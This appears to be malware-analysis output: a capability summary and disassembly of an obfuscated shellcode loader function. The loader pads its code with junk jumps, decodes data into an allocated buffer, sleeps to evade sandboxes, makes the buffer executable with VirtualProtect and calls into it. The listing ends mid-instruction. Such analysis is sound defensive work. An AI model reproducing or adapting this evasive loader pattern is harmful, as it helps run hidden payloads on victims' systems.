Function at 0x10001117
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jno 0x10001120
jmp 0x10001120
jno 0x10001129
jmp 0x10001129
jb 0x10001132
jmp 0x10001132
jnp 0x1000113b
jmp 0x1000113b
jno 0x10001144
jmp 0x10001144
jb 0x1000114d
jmp 0x1000114d
jnp 0x10001156
jmp 0x10001156
jnp 0x1000115f
jmp 0x1000115f
jb 0x10001168
jmp 0x10001168
jb 0x10001171
jmp 0x10001171
jnp 0x1000117a
jmp 0x1000117a
push 0
call sub.ole32.dll_CoInitialize
jno 0x1000118a
jmp 0x1000118a
je 0x10001193
jmp 0x10001193
jae 0x1000119c
jmp 0x1000119c
jae 0x100011a5
jmp 0x100011a5
jno 0x100011ae
jmp 0x100011ae
je 0x100011b7
jmp 0x100011b7
jnp 0x100011c0
jmp 0x100011c0
jb 0x100011c9
jmp 0x100011c9
jae 0x100011d2
jmp 0x100011d2
jno 0x100011db
jmp 0x100011db
jno 0x100011e4
jmp 0x100011e4
jnp 0x100011ed
jmp 0x100011ed
lea eax, section..data
mov eax, dword [eax]
mov ecx, 0x4e
xor edx, edx
div ecx
shl eax, 4
mov ebx, eax
je 0x1000120c
jmp 0x1000120c
je 0x10001215
jmp 0x10001215
jne 0x1000121e
jmp 0x1000121e
jno 0x10001227
jmp 0x10001227
jb 0x10001230
jmp 0x10001230
je 0x10001239
jmp 0x10001239
call sub.KERNEL32.dll_GetCommandLineW
je 0x10001247
jmp 0x10001247
je 0x10001250
jmp 0x10001250
je 0x10001259
jmp 0x10001259
jno 0x10001262
jmp 0x10001262
jno 0x1000126b
jmp 0x1000126b
jno 0x10001274
jmp 0x10001274
jno 0x1000127d
jmp 0x1000127d
jno 0x10001286
jmp 0x10001286
je 0x1000128f
jmp 0x1000128f
jno 0x10001298
jmp 0x10001298
jne 0x100012a1
jmp 0x100012a1
push ebx
call sub.ole32.dll_CoTaskMemAlloc
mov dword [0x1000c4ec], eax
jae 0x100012b5
jmp 0x100012b5
jno 0x100012be
jmp 0x100012be
jnp 0x100012c7
jmp 0x100012c7
jno 0x100012d0
jmp 0x100012d0
je 0x100012d9
jmp 0x100012d9
jnp 0x100012e2
jmp 0x100012e2
jp 0x100012eb
jmp 0x100012eb
jnp 0x100012f4
jmp 0x100012f4
jae 0x100012fd
jmp 0x100012fd
jno 0x10001306
jmp 0x10001306
jnp 0x1000130f
jmp 0x1000130f
jnp 0x10001318
jmp 0x10001318
jae 0x10001321
jmp 0x10001321
jp 0x1000132a
jmp 0x1000132a
push dword [0x1000c4ec]
push section..data
call section..text
jno 0x10001343
jmp 0x10001343
jno 0x1000134c
jmp 0x1000134c
jb 0x10001355
jmp 0x10001355
je 0x1000135e
jmp 0x1000135e
je 0x10001367
jmp 0x10001367
push 0x7530
call sub.KERNEL32.dll_Sleep
jo 0x1000137a
jmp 0x1000137a
jno 0x10001383
jmp 0x10001383
jae 0x1000138c
jmp 0x1000138c
jb 0x10001395
jmp 0x10001395
jno 0x1000139e
jmp 0x1000139e
jno 0x100013a7
jmp 0x100013a7
call sub.KERNEL32.dll_GetTickCount64
push 0x1000c4f0
push 0x40
push ebx
push dword [0x1000c4ec]
call sub.KERNEL32.dll_VirtualProtect
jb 0x100013c8
jmp 0x100013c8
jp 0x100013d1
jmp 0x100013d1
jnp 0x100013da
jmp 0x100013da
jnp 0x100013e3
jmp 0x100013e3
jno 0x100013ec
jmp 0x100013ec
jp 0x100013f5
jmp 0x100013f5
je 0x100013fe
jmp 0x100013fe
jb 0x10001407
jmp 0x10001407
jno 0x10001410
jmp 0x10001410
je 0x10001419
jmp 0x10001419
jno 0x10001422
jmp 0x10001422
jno 0x1000142b
jmp 0x1000142b
je 0x10001434
jmp 0x10001434
call dword [0x1000c4ec]
je 0x10001443
jmp 0x10001443
jno 0x1000144c
jmp 0x1000144c
jo 0x10001455
jmp 0x10001455
jae 0x1000145e
jmp 0x1000145e
jno 0x10001467
jmp 0x10001467
jae 0x10001470
jmp 0x10001470
jp 0x10001479
jmp 0x10001479
jno 0x10001482
jmp 0x10001482
jnp 0x1000148b
jmp 0x1000148b
jo 0x10001494
jmp 0x10001494
jae 0x1000149d
jmp 0x1000149d
jnp 0x100014a6
jmp 0x100014a6
jno 0x100014af
jmp 0x100014af
je 0x100014b8
jmp 0x100014b8
jo 0x100014c1
jmp 0x100014c1
jae 0x100014ca
jmp 0x100014ca
jnp 0x100014d3
jmp 0x100014d3
push dword [0x1000c4ec]
call sub.ole32.dll_CoTaskMemFree
jno 0x100014e7
jmp 0x100014e7
jae 0x100014f0
jmp 0x100014f0
jnp 0x100014f9
jmp 0x100014f9
jnp 0x10001502
jmp 0x10001502
jnp 0x1000150b
jmp 0x1000150b
jb 0x10001514
jmp 0x10001514
jnp 0x1000151d
jmp 0x1000151d
jnp 0x10001526
jmp 0x10001526
jae 0x1000152f
jmp 0x1000152f
jb 0x10001538
jmp 0x10001538
jnp 0x10001541
jmp 0x10001541
jb 0x1000154a
jmp 0x1000154a
jno 0x10001553
jmp 0x10001553
jnp 0x1000155c
jmp 0x1000155c
jno 0x10001565
jmp 0x10001565
call sub.KERNEL32.dll_GetCommandLineW
jne 0x10001573
jmp 0x10001573
jno 0x1000157c
jmp 0x1000157c
jno 0x10001585
jmp 0x10001585
jno 0x1000158e
jmp 0x1000158e
jne 0x10001597
jmp 0x10001597
call sub.ole32.dll_CoUninitialize
call sub.KERNEL32.dll_GetTickCount
je 0x100015aa
jmp 0x100015aa
call sub.KERNEL32.dll_GetLastError
jno 0x100015b8
jmp 0x100015b8
jno 0x100015c1
jmp 0x100015c1
jno 0x100015ca
jmp 0x100015ca
jno 0x100015d3
jmp 0x100015d3
jno 0x100015dc
jmp 0x100015dc
call sub.KERNEL32.dll_GetTickCount64
je 0x100015ea
jmp 0x100015ea
call sub.KERNEL32.dll_GetTickCount64
jno 0x100015f8
jmp 0x100015f8
call sub.KERNEL32.dll_GetLastError
call sub.KERNEL32.dll_GetTickCount64
call sub.KERNEL32.dll_GetCommandLineW
jno 0x10001610
jmp 0x10001610
je 0x10001619
jmp 0x10001619
je 0x10001622
jmp 0x10001622
jno 0x1000162b
jmp 0x1000162b
jno 0x10001634
jmp 0x10001634
jno 0x1000163d